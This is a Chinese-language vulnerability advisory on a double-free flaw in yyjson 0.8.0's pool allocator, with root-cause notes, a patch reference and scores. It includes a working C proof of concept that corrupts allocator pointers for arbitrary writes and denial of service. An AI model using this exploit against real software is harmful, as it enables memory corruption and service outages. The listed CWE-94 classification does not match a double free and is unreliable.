yyjson双重释放漏洞技术分析
漏洞概述
yyjson库的池系列分配器(pool_malloc/pool_free/pool_realloc)存在双重释放漏洞,可能导致任意地址写入和拒绝服务(DoS)攻击。结合使用该库的程序的合法或非法操作,任意地址写入还可能引发远程代码执行。
技术细节
根本原因
该漏洞的核心原因在于pool_free函数缺乏循环检查,直接原因则是pool_free函数及类似的释放系列函数未执行指针销毁,导致释放后使用(UAF)漏洞。
漏洞利用证明
以下C语言程序使用yyjson 0.8.0演示如何利用双重释放漏洞造成内存块重叠,进而修改内存块的next指针指向任意地址。如果目标地址有效,则可进行修改;如果地址无效,则可能导致程序崩溃,可用于DoS攻击。此外,构建循环内存块链可迫使服务进入无限循环,同样可用于DoS攻击。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
#include <stdio.h>
#include "yyjson.h"
char test[0x110];
int64_t a=0xffffffff;
int64_t b= (int64_t) test;
int main() {
size_t max_json_size = 64 * 1024;
size_t buf_size = yyjson_read_max_memory_usage(max_json_size, 0);
void *buf = malloc(buf_size);
yyjson_alc alc;
yyjson_alc_pool_init(&alc, buf, buf_size);
yyjson_mut_doc *p1 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p2 = yyjson_mut_doc_new(&alc);
yyjson_mut_arr(p2);
yyjson_mut_doc *p3 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc_free(p2);
yyjson_mut_doc_free(p2); // 双重释放
yyjson_mut_doc_free(p1);
yyjson_read_flag flg = YYJSON_READ_ALLOW_COMMENTS | YYJSON_READ_ALLOW_INF_AND_NAN;
for(int i=0;i<0x100;i++)test[i]= 'a';
test[0x100]='\00';
char *payload_f = "[%lld,43981]";
char payload[100];
sprintf(payload,payload_f,&a);
yyjson_mut_doc *p4 = yyjson_read_opts(payload,strlen(payload),flg,&alc,NULL);
yyjson_mut_doc *p5 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p6 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p7 = yyjson_mut_doc_new(&alc);
yyjson_mut_doc *p8 = yyjson_mut_doc_new(&alc);
for(int z=1;z<=100;z++)
yyjson_mut_int(p8,0x63636363);
printf("%s",test);
free(buf);
return 0;
}
|
影响范围
漏洞类型及受影响对象
该漏洞为双重释放漏洞,影响所有使用受影响版本yyjson库的应用程序。
yyjson官方说明
yyjson_mut_doc_free()函数在文档中已有明确说明:
释放JSON文档并回收内存。调用此函数后,doc及其所有值将不再可用。如果doc为NULL,此函数不执行任何操作。
如果已经对某个文档调用了yyjson_mut_doc_free(),那么该文档及其内部值即告失效。对文档或其值的任何后续操作均属于未定义行为。
虽然这并非yyjson本身的bug,但官方已提供防御性补丁:0eca326。如果违反文档说明对同一文档错误地两次调用yyjson_mut_doc_free(),此补丁将使程序立即崩溃,提醒用户存在不正确用法。
参考链接
安全评分
- 严重等级: 高
- CVSS评分: 8.8/10
- EPSS评分: 3.059%(第86百分位)
弱点分类
- CWE-94: 代码生成控制不当(代码注入)
- 产品使用上游组件的外部影响输入构建部分或全部代码段,但未能中和或错误地中和可能修改预期代码段语法或行为的特殊元素。